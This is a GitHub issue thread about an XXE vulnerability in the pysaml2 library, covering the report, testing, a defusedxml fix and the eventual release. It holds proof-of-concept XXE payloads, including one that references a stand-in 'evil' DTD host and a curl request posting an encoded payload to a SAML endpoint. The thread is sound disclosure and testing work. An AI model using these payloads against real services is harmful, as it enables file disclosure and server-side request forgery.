Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

PySAML vulnerable to XXE #366

Closed
mrbrutti opened this Issue Oct 6, 2016 · 21 comments

Comments

Projects
None yet
7 participants
@mrbrutti
Copy link

commented Oct 6, 2016

Roland (@rohe),

Description

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
It seams that the PySAML2 library does not contemplate the possibility of SAML "XML" requests or responses containing External Entities or File Local inclusion resulting on malicious XML requests or responses being able to trigger an XXE attack.

Proof of Concept SAMLResponse:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % payload SYSTEM "http://myevildomain.com/evil.dtd"> %payload;]>

For more information refer to:

Recommendations:

It is my recommendation that you should disable all these by default and if necessary give the user the option to enable them on their settings.

@mrbrutti

This comment has been minimized.

Copy link
Author

commented Oct 9, 2016

@rohe Any updates on this ? Was wondering if you need any help. This is a pretty serious issue. Also I wanted to let you know that an underlying library you use xmlsec is also vulnerable, so I have created a ticket on their side which might be related to yours. https://github.com/lsh123/xmlsec/issues

@mrbrutti

This comment has been minimized.

Copy link
Author

commented Oct 11, 2016

@rohe it looks like your problem actually goes all the way down to libxml2 https://bugzilla.gnome.org/show_bug.cgi?id=772726

@rohe

This comment has been minimized.

Copy link
Collaborator

commented Oct 12, 2016

11 okt. 2016 kl. 20:10 skrev Matias P. Brutti notifications@github.com:

@rohe https://github.com/rohe it looks like your problem actually goes all the way down to libxml2 https://bugzilla.gnome.org/show_bug.cgi?id=772726 https://bugzilla.gnome.org/show_bug.cgi?id=772726
Correct, I’ve come to same conclusion.
No quick fix then.

— Roland

fruechel added a commit to fruechel/pysaml2 that referenced this issue Oct 31, 2016

Fix XXE in XML parsing (related to IdentityPython#366)
This fixes XXE issues on anything where pysaml2 parses XML directly as part of
issue IdentityPython#366. It doesn't address the xmlsec issues discussed on that ticket as
they are out of reach of a direct fix and need the underlying library to fix
this issue.

rohe added a commit that referenced this issue Nov 2, 2016

Merge pull request #379 from fruechel/master
Fix XXE in XML parsing (related to #366)
@spaceone

This comment has been minimized.

Copy link
Contributor

commented Jan 9, 2017

@freedomcoder @rohe Could you imagine the impact this vulnerability causes? Is it possible to bypass authentication? Is it possible to get the content of some local files e.g. via error messages?

As there is also Pull Request #366 fixed, will you release a new version of pysaml2 so that the debian package can be updated? Is the current git HEAD stable enough to use?

@prometheanfire

This comment has been minimized.

Copy link

commented Jan 11, 2017

same for gentoo, though we may need to backport this to 4.0.2 because of the pycryptome change in 4.0.3 and openstack not working with it.

@prometheanfire

This comment has been minimized.

Copy link

commented Jan 11, 2017

don't even know the sha for the 4.0.2 tag, not sure how we are going to deal with this...

@prometheanfire

This comment has been minimized.

Copy link

commented Jan 11, 2017

I do have a patch that works with 4.0.2 though

https://gist.github.com/1ea1da1375d31005e174f7e6df4037c1

@prometheanfire

This comment has been minimized.

Copy link

commented Jan 11, 2017

passes tests, at least the tests I could run

testfed-metadata.xml is a file I don't have

tests/test_41_response.py ..F.
tests/test_84_entcat.py .F

neither of those files are ones that I touched at least and the second one was because of the missing test file.

@prometheanfire

This comment has been minimized.

Copy link

commented Jan 11, 2017

so, a few downstreams have requested, that since they do not package pycryptome and packaging it would be difficult that someone go back in history to the commit that was 4.0.2, check it out, branch from there, and create a 4.0.2.1 with the fix (possibly the patch I mangled). Then upload that to pypi. I don't know if this is feasible though...

Amli added a commit to Amli/pysaml2 that referenced this issue Jan 12, 2017

Fix XXE in XML parsing (related to IdentityPython#366)
This fixes XXE issues on anything where pysaml2 parses XML directly as part of
issue IdentityPython#366. It doesn't address the xmlsec issues discussed on that ticket as
they are out of reach of a direct fix and need the underlying library to fix
this issue.
@spaceone

This comment has been minimized.

Copy link
Contributor

commented Feb 15, 2017

Is this issue actually exploitable? Or is this only a theoretical issue?

Using the following XML snipped:

urllib.quote('''<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % payload SYSTEM "http://localhost:8000/evil.dtd"> %payload;]>'''.encode('base64').strip())

Transforming it into a SAMLResponse request:

curl -ik 'https://localhost/saml/' -H 'Content-Type: application/x-www-form-urlencoded' --data 'SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48IURPQ1RZUEUgcm9vdCBbIDwh%0ARU5USVRZICUgcGF5bG9hZCBTWVNURU0gImh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9ldmlsLmR0ZCI%2B%0AICVwYXlsb2FkO10%2B'

Turns in a exception but no external request is done:

Traceback (most recent call last):
  File ...
    response = self.sp.parse_authn_request_response(message, binding, self.outstanding_queries)
  File "/usr/lib/python2.7/dist-packages/saml2/client_base.py", line 580, in parse_authn_request_response
    binding, **kwargs)
  File "/usr/lib/python2.7/dist-packages/saml2/entity.py", line 1087, in _parse_response
    response = response.verify(keys)
  File "/usr/lib/python2.7/dist-packages/saml2/response.py", line 964, in verify
    res = self._verify()
  File "/usr/lib/python2.7/dist-packages/saml2/response.py", line 377, in _verify
    assert self.response.version == "2.0"
AttributeError: 'NoneType' object has no attribute 'version'
@mrbrutti

This comment has been minimized.

Copy link
Author

commented Feb 15, 2017

@spaceone this is 100% exploitable. The way it was found was through exploitation so yes. The problem is on xmlsec1 and libxml itself. Which are currently being patched.

@spaceone

This comment has been minimized.

Copy link
Contributor

commented Feb 15, 2017

@freedomcoder
I can't find a way to reproduce this with pysaml2.
When using a external reference as in your example, no request ist done.
With inotifywatch there are no notifications when using a local file reference.
I even concatenated this with a real SAML response.
I think the part which is vulnerable is the signature check via xmldsig?! Do I need to modify only a part of the SAML Response e.g. the <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> element (maybe with an XInclude?).

Is it possible to gain a local file through this?

@spaceone

This comment has been minimized.

Copy link
Contributor

commented Mar 3, 2017

@freedomcoder Could you answer? We need to shutdown our services if that is possible.

@mrbrutti

This comment has been minimized.

Copy link
Author

commented Mar 3, 2017

@spaceone I've been using this to test things. It is a shitty script I quickly build and I have not had time to refine into a proper tool. If you need help testing your UCS endpoints if you point me to a sample deployment. I can certainly test it and let you know privately the results.

https://gist.github.com/FreedomCoder/77804052accd69e5d2a9ceb879d70143

@spaceone

This comment has been minimized.

Copy link
Contributor

commented Mar 3, 2017

@freedomcoder Thanks, I added some comments to your snipped.

@mrbrutti

This comment has been minimized.

Copy link
Author

commented Mar 10, 2017

@spaceone correctly if I am wrong!!
@rohe: it looks like the patch proposed by @prometheanfire and/or Pull Request #366 in which we change the parsing library fixes the vulnerability according to @spaceone tests on is own infrastructure. The reality as it was pointed out is that xmlsec and libxml are still vulnerable, but this sanitizes things before it gets that far successfully mitigating the issue.

@spaceone

This comment has been minimized.

Copy link
Contributor

commented Mar 13, 2017

@freedomcoder @rohe Yes, as far as I can see defusedxml is used always before any call to xmldsig. The following exception is raised in case of such a XXE attack:

  File "/usr/lib/python2.7/dist-packages/saml2/client_base.py", line 573, in parse_authn_request_response
    binding, **kwargs)
  File "/usr/lib/python2.7/dist-packages/saml2/entity.py", line 949, in _parse_response
    response = response.verify(key_file)
  File "/usr/lib/python2.7/dist-packages/saml2/response.py", line 853, in verify
    res = self._verify()
  File "/usr/lib/python2.7/dist-packages/saml2/response.py", line 376, in _verify
    assert self.response.version == "2.0"
AttributeError: 'NoneType' object has no attribute 'version'

I tested only parse_authn_request_response() but I hope that every code path is similar to this method.

@spaceone

This comment has been minimized.

Copy link
Contributor

commented Mar 13, 2017

When reverting 6e09a25 it is vulnerable again.

@naggie

This comment has been minimized.

Copy link

commented Jun 6, 2017

Hi all -- I cannot seem to reproduce this, at least with pysaml 4.4.0 and 4.0.0 using a vulnerable xmlsec1 against my ACS view1 using the SAMLResponse suggested.

As far as I can see from the commits + comments:

  1. Latest release 4.4.0 may be vulnerable

  2. Master has a fix (a fix, even with a vulnerable xmlsec1)

  3. When reverting 6e09a25 it is vulnerable again.

    is that staying in the code, or being reverted? Or did you revert to test?

Here's my fake SAMLResponse which sends a request to my canary webserver when calling xmlsec1 from the command line, but not if given to my ACS view:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % payload SYSTEM "http://localhost:7722/canary"> %payload;]>

1client.parse_authn_request_response()


I'd just like to disambiguate: is pysaml2 vulnerable?

If so, on master? on latest release?

@bplaxco

This comment has been minimized.

Copy link

commented Sep 19, 2017

When is the next release planned?

@c00kiemon5ter

This comment has been minimized.

Copy link
Member

commented Nov 15, 2017

pysaml2 version 4.5.0 has been released. This can now be closed.

If you feel differently, please do reopen and lets re-examine this.

Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.